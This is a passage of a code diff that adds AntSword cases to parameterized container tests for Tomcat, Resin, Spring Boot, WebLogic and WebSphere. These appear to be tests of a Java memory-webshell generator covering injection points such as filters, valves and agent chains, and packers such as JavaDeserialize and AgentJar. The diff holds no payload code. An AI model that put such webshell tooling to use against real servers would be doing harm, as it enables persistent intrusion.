arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,9 @@ public class Resin4058ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Resin4067ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Resin4067ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,9 @@ public class Resin4067ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -55,6 +55,9 @@ public class SpringBoot2ContainerTest {
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
@@ -67,6 +70,10 @@ public class SpringBoot2ContainerTest {
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
@@ -53,6 +53,9 @@ public class Tomcat5ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -65,6 +68,9 @@ public class Tomcat5ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -77,6 +83,9 @@ public class Tomcat5ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -88,7 +97,10 @@ public class Tomcat5ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize)
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
@@ -50,6 +50,8 @@ public class Tomcat6ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Tomcat6ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,8 @@ public class Tomcat6ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -74,9 +80,13 @@ public class Tomcat6ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
@@ -50,6 +50,8 @@ public class Tomcat7ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +60,8 @@ public class Tomcat7ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +70,8 @@ public class Tomcat7ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -74,10 +80,14 @@ public class Tomcat7ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
);
@@ -54,6 +54,9 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -66,6 +69,9 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -78,6 +84,9 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
@@ -90,9 +99,14 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
@@ -49,6 +49,8 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
@@ -57,6 +59,8 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -65,6 +69,8 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -73,9 +79,13 @@ public class Tomcat9ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
@@ -44,14 +44,18 @@ public class WebLogic1036ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,14 +46,18 @@ public class WebLogic12214ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,14 +46,18 @@ public class WebLogic14110ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,14 +49,18 @@ public class WebSphere855ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,14 +49,18 @@ public class WebSphere905ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
